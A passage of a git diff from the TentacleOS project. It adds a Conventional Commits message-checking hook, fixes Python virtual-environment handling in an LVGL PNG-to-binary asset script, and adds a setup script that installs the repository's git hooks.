'^Merge '; then + exit 0 +fi + +PATTERN='^(feat|fix|docs|delete|deleted|remove|removed|style|refactor|perf|test|chore|ci|build|revert)(\(.+\))?(!)?: .{1,}' + +if ! echo "$COMMIT_MSG" | grep -qE "$PATTERN"; then + echo "" + echo "ERROR: Commit message does not follow Conventional Commits format." + echo "" + echo "Expected: (): " + echo "" + echo "Types: feat, fix, docs, style, refactor, perf, test, chore, ci, build, revert, delete, remove" + echo "" + echo "Examples:" + echo " feat(ota): add OTA update service" + echo " fix(spi): corrected timeout on bridge init" + echo " feat(bt)!: redesigned BLE protocol" + echo " chore: cleanup unused imports" + echo "" + echo "Your message: \"$COMMIT_MSG\"" + echo "" + exit 1 +fi diff --git a/tools/png_to_bin/png_conversor_to_bin.sh b/tools/png_to_bin/png_conversor_to_bin.sh index ac9bd1c1..f7bba822 100755 --- a/tools/png_to_bin/png_conversor_to_bin.sh +++ b/tools/png_to_bin/png_conversor_to_bin.sh @@ -26,6 +26,7 @@ echo -e "\n${YELLOW}>>> Starting LVGL Assets Automation (Linux/Mac)${NC}" if [ ! -f "$PYTHON_BIN" ]; then echo -e "${YELLOW}Virtual environment 'lvgl-env' not found in $SCRIPT_DIR. Creating...${NC}" + rm -rf "$VENV_DIR" python3 -m venv "$VENV_DIR" if [ $? -ne 0 ]; then @@ -33,6 +34,16 @@ if [ ! -f "$PYTHON_BIN" ]; then echo "Make sure python3-venv is installed (sudo apt install python3-venv)" exit 1 fi + + # Resolve the actual python binary name inside the venv + if [ ! -f "$PYTHON_BIN" ]; then + if [ -f "$VENV_DIR/bin/python" ]; then + PYTHON_BIN="$VENV_DIR/bin/python" + else + echo -e "${RED}Critical Error: Python binary not found inside the virtual environment.${NC}" + exit 1 + fi + fi fi if [ ! -f "$LVGL_IMAGE_PY" ]; then diff --git a/tools/setup.sh b/tools/setup.sh new file mode 100755 index 00000000..3fdb1182 --- /dev/null +++ b/tools/setup.sh @@ -0,0 +1,26 @@ +#!/bin/bash + +# ============================================================================== +# TentacleOS Developer Environment Setup +# ============================================================================== +# Run this once after cloning the repository to configure git hooks. + +PROJECT_ROOT=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." &> /dev/null && pwd) +HOOKS_SRC="$PROJECT_ROOT/tools/hooks" +HOOKS_DST="$PROJECT_ROOT/.git/hooks" + +GREEN='\033[0;32m' +NC='\033[0m' + +echo "Setting up TentacleOS development environment..." + +if [ -d "$HOOKS_SRC" ]; then + for hook in "$HOOKS_SRC"/*; do + hook_name=$(basename "$hook") + cp "$hook" "$HOOKS_DST/$hook_name" + chmod +x "$HOOKS_DST/$hook_name" + echo -e " Installed git hook: ${GREEN}${hook_name}${NC}" + done +fi + +echo -e "${GREEN}Setup complete!${NC}"